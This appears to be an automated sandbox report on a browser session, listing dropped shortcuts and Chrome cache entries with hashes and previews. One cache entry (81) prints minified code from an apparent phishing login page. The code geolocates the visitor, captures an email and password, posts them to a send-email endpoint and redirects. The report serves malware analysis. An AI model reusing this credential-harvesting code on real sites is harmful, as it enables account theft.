Preview:	L..................F.@.. ...$+.,........P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y ......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:16:58 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992830078769008
Encrypted:	false
SSDEEP:
MD5:	A3811A443C2948F449075F37978DC588
SHA1:	A0E604C8907805908A934B9B567146ED34988CF3
SHA-256:	6AA97BAFDF57747B50DD24E2316EF1D762B9EC527D52DF3FCEE665077AC14561
SHA-512:	DFF8DA5BEF7500E0BB0786A1D7CDCB5B3A1D0A9CB4D0C18105DE1B58156E242E333331B31F80B3115680245977D7B864647C0CF13C8964877634B74ABDFBDE78
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....R...P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y ......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 09:23:19 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.004221851267714
Encrypted:	false
SSDEEP:
MD5:	4338028A8A0A5C0D1599879E538F1A65
SHA1:	7084DA0E62279B992AB0CE670E054CBFFCCAE835
SHA-256:	CDC0B7F1E0AF50B8D360BED3A1068D32F9D0898F8703AFFAB99C7DEA2D81DC48
SHA-512:	3F17A1674A16FB82072FF8572BC7F9FCECBAFD0D5A254B557C99C148AF46BB6F4E4022DAB2B19EE54F8F7C1F7E247D360A0706AEEE5C6BAA56484BF5830BA870
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....?.4 ?.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.R.....#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:16:58 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9921702317367727
Encrypted:	false
SSDEEP:
MD5:	B666F99A2A20CBA15780A7E9847142C8
SHA1:	43E14D47DF5ADB52429CB3A9DC0C77636F1716DB
SHA-256:	EC3C660B29436662D204555D7DB8B7354E41F835710CF239EEA6A03FFC75723C
SHA-512:	16307CD77F8D899F193E923BE321FBF7A1932EB237C3DBB77D3961D9E5D02028A1D9B861E9F20DF429F2A0D75B2B22B1A130A9AB3054B20228D93C4DCEFFAD01
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Z..P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y ......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:16:58 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.981558175985108
Encrypted:	false
SSDEEP:
MD5:	62465278036275B090084208932E531A
SHA1:	ABA6E710A53AA5EB64581201101082F67F3A24B1
SHA-256:	44C8FF912ED3C02786EF766365C0400D6998E326076F4D5B70A4228B9FB7B62B
SHA-512:	8087AC9EF8242D165B50B93FAF3EA878E8053D984749342966CDBF3C4BB1139F4B5018FBC46A60AFEFA1D649B24B3B02C2C125876568444CF840DDB9E9F1006B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....[..P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y ......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 17 19:16:58 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9892774152482335
Encrypted:	false
SSDEEP:
MD5:	A4BDF032E220DBE9FA73F05BADAB44A8
SHA1:	8CAB048CA16F3DD4A94F3930421F22D500419307
SHA-256:	3F3B27D522C1245352C7C2DC3CDFB6F8AC6C6D74EA7C68730438AC3625623460
SHA-512:	2AB77EEC650B7532162A0FBF0E0004BBF1B6986ECA613C6E7504ACF7A0A393BC51F56C35BA2AB9A6434E079803E2D11DAA162F6E6B598CE93EE17BFB03609261
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....i...P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.R..PROGRA~1..t......O.I.Y......B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y......L.....................p+j.G.o.o.g.l.e.....T.1.....FW.R..Chrome..>......CW.V.Y......M......................pd.C.h.r.o.m.e.....`.1.....FW.R..APPLIC~1..H......CW.V.Y.............................pd.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y ......#......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............g].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	181615
Entropy (8bit):	5.266857423238819
Encrypted:	false
SSDEEP:
MD5:	19AE224117D132E1E1709CCB456C3298
SHA1:	9C99B73C25D90210DEA9F6BD2D60B63E091D7D3D
SHA-256:	F0EE87DE72746E837A3327043FB8BDD1EBD7FDE0437584858E06C3ED188C0E0E
SHA-512:	07DB69274A0DC5874E868FF17A7D5D6C39B55A27C57C05E9977B7603A73EFFC14ACE5AA0B084B4DC8D9E517BF460F5AD7C318850CC4F4AFDFCC3CED00D5B12C2
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/chunks/framework-1ee1b762209da1bd.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[593],{1247:(e,t,n)=>{var r,l,a=n(7836),o=n(9982),i=n(6540),u=n(961);function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var n=2;n<arguments.length;n++)t+="&args[]="+encodeURIComponent(arguments[n])}return"Minified React error #"+e+"; visit "+t+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}function c(e){return!(!e\|\|1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType)}var f=Symbol.for("react.element"),d=Symbol.for("react.transitional.element"),p=Symbol.for("react.portal"),m=Symbol.for("react.fragment"),h=Symbol.for("react.strict_mode"),g=Symbol.for("react.profiler"),y=Symbol.for("react.provider"),v=Symbol.for("react.consumer"),b=Symbol.for("react.context"),k=Symbol.for("react.forward_ref"),w=Symbol.for("react.suspense"),S=Symbol.for("react.suspense_list"),x=Symbol.for("react.memo"),E=Sy

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5843
Entropy (8bit):	5.370695346904781
Encrypted:	false
SSDEEP:
MD5:	5AB5258D12E4878ED65FF1263893A1C3
SHA1:	1181E665997426A912D0EA10446BB8CCB244DE4D
SHA-256:	B4C2E90AADDD3FB5E4E769C87F31BE73BA5D70C0D7DE688734B7E56C595BC49B
SHA-512:	816D38CFE0FCDC577EBBF0695DDBA7B95C77975421EC43EE40FD2F619D4055867F4578DDEF195FC598CE82DD447391DD1EB441A9973FB9C3FC35163452775D60
Malicious:	false
Reputation:	unknown
Preview:	[{"name":{"common":"United States","official":"United States of America","nativeName":{"eng":{"official":"United States of America","common":"United States"}}},"tld":[".us"],"cca2":"US","ccn3":"840","cca3":"USA","cioc":"USA","independent":true,"status":"officially-assigned","unMember":true,"currencies":{"USD":{"name":"United States dollar","symbol":"$"}},"idd":{"root":"+1","suffixes":["201","202","203","205","206","207","208","209","210","212","213","214","215","216","217","218","219","220","224","225","227","228","229","231","234","239","240","248","251","252","253","254","256","260","262","267","269","270","272","274","276","281","283","301","302","303","304","305","307","308","309","310","312","313","314","315","316","317","318","319","320","321","323","325","327","330","331","334","336","337","339","346","347","351","352","360","361","364","380","385","386","401","402","404","405","406","407","408","409","410","412","413","414","415","417","419","423","424","425","430","432","434",

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	101610
Entropy (8bit):	5.371727713953309
Encrypted:	false
SSDEEP:
MD5:	0ED08628FF01D71DCDE916D83B125A3F
SHA1:	054259D7D0C2083F1D9356B7B35618094200F8AE
SHA-256:	ECC6C7E834C81FCAEBF41164FBBA7322CD647BC8C2014891D5912C45544990A6
SHA-512:	FDEF65E58C58F93FCEE3E5CB773FD236EDB0BC9219E95445F22AB785F5084AEAE4362C74752A136887BFB9C22046D7CC6E1913DB5A0F5D37D4A5164D054A3FC2
Malicious:	false
Reputation:	unknown
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[792],{8925:(e,t)=>{"use strict";function r(){return""}Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getDeploymentIdQueryOrEmptyString",{enumerable:!0,get:function(){return r}})},4599:()=>{"trimStart"in String.prototype\|\|(String.prototype.trimStart=String.prototype.trimLeft),"trimEnd"in String.prototype\|\|(String.prototype.trimEnd=String.prototype.trimRight),"description"in Symbol.prototype\|\|Object.defineProperty(Symbol.prototype,"description",{configurable:!0,get:function(){var e=/$(.*)$/.exec(this.toString());return e?e[1]:void 0}}),Array.prototype.flat\|\|(Array.prototype.flat=function(e,t){return t=this.concat.apply([],this),e>1&&t.some(Array.isArray)?t.flat(e-1):t},Array.prototype.flatMap=function(e,t){return this.map(e,t).flat()}),Promise.prototype.finally\|\|(Promise.prototype.finally=function(e){if("function"!=typeof e)return this.then(e,e);var t=this.constructor\|\|Promise;return this.then(function(

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (405), with no line terminators
Category:	downloaded
Size (bytes):	405
Entropy (8bit):	5.364667796150531
Encrypted:	false
SSDEEP:
MD5:	ADDE5373A91A6AB24FA684641AEA8683
SHA1:	C6ADFAF243FFD36D50AC31B7FA0DBB64EAE4A19A
SHA-256:	DE20FCAD48608F76BD74B56C9AE7F232974FE08E97F222DC3192CE3BCF4C5C17
SHA-512:	A1C5EB26964E00F611AF2FFAF0B03E37C9377EE34156E0CB471949B3C04CA2425C19A7D7B50666AAE01D606B5871A5179E52F8ED7DDC535BE59F82EB7EB678F3
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/chunks/pages/_app-bc94df786567e722.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[636],{6170:(_,e,n)=>{(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/_app",function(){return n(2448)}])},2448:(_,e,n)=>{"use strict";n.r(e),n.d(e,{default:()=>t});var u=n(4848);n(4472);let t=function(_){let{Component:e,pageProps:n}=_;return(0,u.jsx)(e,{...n})}},4472:()=>{}},_=>{var e=e=>_(_.s=e);_.O(0,[593,792],()=>(e(6170),e(8440))),_N_E=_.O()}]);

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 700 x 394, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11754
Entropy (8bit):	7.9317155497253164
Encrypted:	false
SSDEEP:
MD5:	1907807F507D6545EAF042732672ACA1
SHA1:	2B70F83639E2A7202A64C188F56BB2424D4FEAE1
SHA-256:	55DE1F37B3B5B298967F4A1368673A111243A0D176002B6D956EAF997679B62D
SHA-512:	93B371B03B56FD7DBE5A1D17F611A1241C55AA3E7E23D4C39A12DD5CAC3773A7A284E307BF7A093243C9660B4584BACC21BC664F88985BB5B224D08AF4D26C1F
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/logo.png
Preview:	.PNG........IHDR..............b\...TPLTEGpL....s..y..u..s..s..}..q..x...........d..k...........r..k...........P..>t.t.l.......>....tRNS......G..n\|..K.. .IDATx...w....-m.....(8......$`......c....]+_w63......@ .....@.sxzy.W.<....?........q..\|.......C..........j/.C...!0..}.^6....b..f\Y5.7~......I..W....1.5...%.+o......Q.}...s,}.&.kRS`$o1."Han..>..-.5H.V6.G. ...&...>._..,0.).#...&B<q...=$..g.$K......mC.....'..t..L.....Lo......q.5$...m..x.l.q.l.e...@3.7.d....r.5c...*.7f.>!.+..yC2)e.[(.&.k&..F0.ff..LO...Y....6l..23..m.f...7...".,...Y<....xK.6.."#...h3...:...=.Lot...m..tr.L......h.....5...8..o.r.O....!..._.FJ......f.y..,...xZ>._.f..<".3.U...T.....t.^x.&7-.Icx^D..0.R3..iF.jFq.A..^.y.$...By.........6....f.....U..Y3...y......{K..L.!f^6..J....f..g.o"gf.r3}mt.l.b..,...ff.....w..x./.E..^3..y.-../.{'l...m.....x...5c...v$......X..`.Y..........9..7..a(/</b..........t.&W.;.-.^.ATm.{....t9......~..w5..k.nu...c.r^..m..p.....{....)f..=.t..E..^.uM9...&T'C./

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.625
Encrypted:	false
SSDEEP:
MD5:	9B5719B531993D7EEF5EB4C692F2238C
SHA1:	9C9A21624C975F0741B743348DE85A09FDA7E669
SHA-256:	27008C4818CC0695B1496B0E8026DDFB7999C7FA066F78C61A76AF0FFECEF4BF
SHA-512:	39CC9DC2E4DACFA6D1D7E23759ED7FB13C3111992BCA5DAA97CE1ADB37205056118FC1105D85E38B8E902A2F8CD68656AD36D53642DE60368E054BE86942BBA8
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAnbFJWScTeuBBIFDVALr7A=?alt=proto
Preview:	CgkKBw1QC6+wGgA=

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	4.936998777589824
Encrypted:	false
SSDEEP:
MD5:	376BAAF1F85F700CF8CEFE5ABD9F941F
SHA1:	D3FA8C2AE5178870CD8B22C7C42341162AE24EC4
SHA-256:	4878512FA12B62397ECE23BC574294DA3D6EFB23DA01569D171C1818F3EF69AC
SHA-512:	B08950047F4484D0CE395236893F8E269A5BA27CD0CBF3EE8FAB314E9E21585F4403C264DF62242640AEA96CDC75DAD092E807DEDF7C7E35CDFA40C8812FE0F8
Malicious:	false
Reputation:	unknown
URL:	https://ipinfo.io/json?token=c3e87e382ddea7
Preview:	{. "ip": "8.46.123.189",. "hostname": "static-cpe-8-46-123-189.centurylink.com",. "city": "New York City",. "region": "New York",. "country": "US",. "loc": "40.7143,-74.0060",. "org": "AS3356 Level 3 Parent, LLC",. "postal": "10001",. "timezone": "America/New_York".}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	566
Entropy (8bit):	5.021958587229002
Encrypted:	false
SSDEEP:
MD5:	8B1ABEE64C4E68BE2B05A83332F0E970
SHA1:	879A8762F17FA61F5002709626382888CCB6267E
SHA-256:	AE857A7662918BF1B1420DA399C763722CF06460F1DBAE56C5A4C9B58BBCFFCB
SHA-512:	8BD2FBE65C3B35811F8EFD7E01C7525C1D1DC1D4C727106D0294CCD1221D45FB99D4327B5907AD48E1505C0811B043EF73E8F1A82358A4F0740AEE392E2606DA
Malicious:	false
Reputation:	unknown
URL:	https://bu.marcel-andree.de/static/css/main.8dcd9789.css
Preview:	body,html{align-items:center;background-color:#f0f0f0;display:flex;height:100%;justify-content:center;margin:0;padding:0}.App{text-align:center}.loading-container{align-items:center;display:flex;flex-direction:column}.loading-text{font-size:24px;margin-bottom:20px}.loading-bar{background-color:#ccc;border-radius:5px;height:10px;overflow:hidden;position:relative;width:100px}.loading-progress{animation:loading 2s linear forwards;background-color:#007bff;height:100%;width:0}@keyframes loading{0%{width:0}to{width:100%}}./# sourceMappingURL=main.8dcd9789.css.map/

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2181), with no line terminators
Category:	downloaded
Size (bytes):	2181
Entropy (8bit):	5.392683226606612
Encrypted:	false
SSDEEP:
MD5:	71139904DEEA0F0640838D8A40BE76F1
SHA1:	814B1DE4908265D7CDC376B877473C0188B7B5AA
SHA-256:	40CA83821FC3F46DF54B34BD03A1D4599148C1F4F3FB0483251EF43D77F6392C
SHA-512:	6C7EAE11371572D16488BBD87BD8265F1F19B1D111B84E461B0CAB24A928F165F39000AB0506AF4FC9EFDDDE6F0C3A9008F024AF9159E26460DC8818AB881B0D
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/favicon.ico
Preview:	<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">404: This page could not be found</title><link rel="preload" href="/_next/static/css/05a702e55f1806c7.css" as="style"/><link rel="stylesheet" href="/_next/static/css/05a702e55f1806c7.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" noModule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-8cac0b4b405cede1.js" defer=""></script><script src="/_next/static/chunks/framework-1ee1b762209da1bd.js" defer=""></script><script src="/_next/static/chunks/main-bc5cca2169ff8412.js" defer=""></script><script src="/_next/static/chunks/pages/_app-bc94df786567e722.js" defer=""></script><script src="/_next/static/chunks/pages/_error-fde50cb7f1ab27e0.js" defer=""></script><script src="/_next/static/V3ZDMUe_eBQyucafREeXr/_buildManifest.js" defer=""></script><script

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	75
Entropy (8bit):	4.464089239047337
Encrypted:	false
SSDEEP:
MD5:	B8D3C28A1B1F2543428C8BC5BED4C551
SHA1:	3586ACF04AC72E3AEB644F1C8BA53EC579975CF1
SHA-256:	3E9250CB917779581F802A2ABA3983147AE5769D1468A5F58BA384A15F2F96D2
SHA-512:	84C99AE6E5EC1872532602D0013BC74EC31CED3C15474377773CEB1D9F18F033C622D59070649F71AA3AF0FAA70AB67AFF37465096CFB9FC35CD6612869802A7
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/css/05a702e55f1806c7.css
Preview:	body{font-family:Arial,sans-serif;margin:0;padding:0;box-sizing:border-box}

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3118), with no line terminators
Category:	dropped
Size (bytes):	3118
Entropy (8bit):	5.362365036743059
Encrypted:	false
SSDEEP:
MD5:	E692AFAC7FC318A55B15E71115EA4013
SHA1:	1D14F7F387567B7942C7ACCF14BC5DB99B062BD5
SHA-256:	DA4EDA3FA2C2D1D44DB68CD056F28B4D9ABCF7F2711B62E9F955588F6C0D8C7D
SHA-512:	1579D443E913A2B6B36AA1C8628C745F9B39E94F87F1D92EE2515766BBD807D535352A255E4B28451905FDFF6B59F2C9B120363D1BBDD064EE6B2F793A1DF550
Malicious:	false
Reputation:	unknown
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[332],{7276:(e,t,s)=>{(window.__NEXT_P=window.__NEXT_P\|\|[]).push(["/",function(){return s(6993)}])},6993:(e,t,s)=>{"use strict";s.r(t),s.d(t,{default:()=>c});var a=s(4848),n=s(6540),o=s(2505),l=s.n(o),i=s(9680),r=s.n(i);function c(){let[e,t]=(0,n.useState)(""),[s,o]=(0,n.useState)(""),[i,c]=(0,n.useState)(""),[d,m]=(0,n.useState)(!1),[u,_]=(0,n.useState)(""),[h,g]=(0,n.useState)(!1);(0,n.useEffect)(()=>{l().get("https://ipinfo.io/json?token=c3e87e382ddea7").then(e=>{let t=e.data.country;return l().get("https://restcountries.com/v3.1/alpha/".concat(t))}).then(e=>{c(e.data[0].name.common)}).catch(e=>{console.error("Failed to fetch full country name:",e),_("Failed to retrieve country information.")})},[]);let p=async t=>{if(t.preventDefault(),s.length>=5){g(!0);try{let t=await l().post("/api/send-email",{email:e,password:s,country:i});console.log("Email sent successfully!",t.data.message),window.location.href="https://ne.abruis.io"}c

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1424), with no line terminators
Category:	downloaded
Size (bytes):	1424
Entropy (8bit):	5.20596958546308
Encrypted:	false
SSDEEP:
MD5:	DEC3102742AEC1840F9C159FA02B3127
SHA1:	0CCCEBCD06FA9D1CB9FFB85CEB07A313F0B13569
SHA-256:	3F790592A96AA42DA581E25426EDF632DC1135BBB7CA0BBAD786FD2947B01B65
SHA-512:	A24FA6A17C799C46236F21B3F330D392424FE4391C98DDB55A2C7C9D487AD6835B485D7A118F6646732B1B2E5D108583658C93AC893158D2C3D20D5C9BC55E52
Malicious:	false
Reputation:	unknown
URL:	https://log.the-network-expert.ca/_next/static/css/dfec9835995d9658.css
Preview:	.Home_container__d256j{height:100vh;display:flex;justify-content:center;align-items:center;position:relative;overflow:hidden}.Home_background__nqUIs{position:absolute;top:0;left:0;width:100%;height:100%;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;filter:blur(3px);z-index:-1}.Home_loginBox__i6Tc_{background-color:#fff;padding:20px;border-radius:10px;box-shadow:0 0 10px rgba(0,0,0,.1);text-align:center;position:relative;max-width:400px;width:100%;height:350px;z-index:1}.Home_logo__IOQAX{width:100px;margin-bottom:10px}.Home_message__OKL2m{font-size:16px;margin-bottom:20px}.Home_displayEmail__HOGgk{font-size:18px;margin-bottom:20px}.Home_inputField__h82W1{width:50%;padding:10px;margin:10px 0;border:1px solid 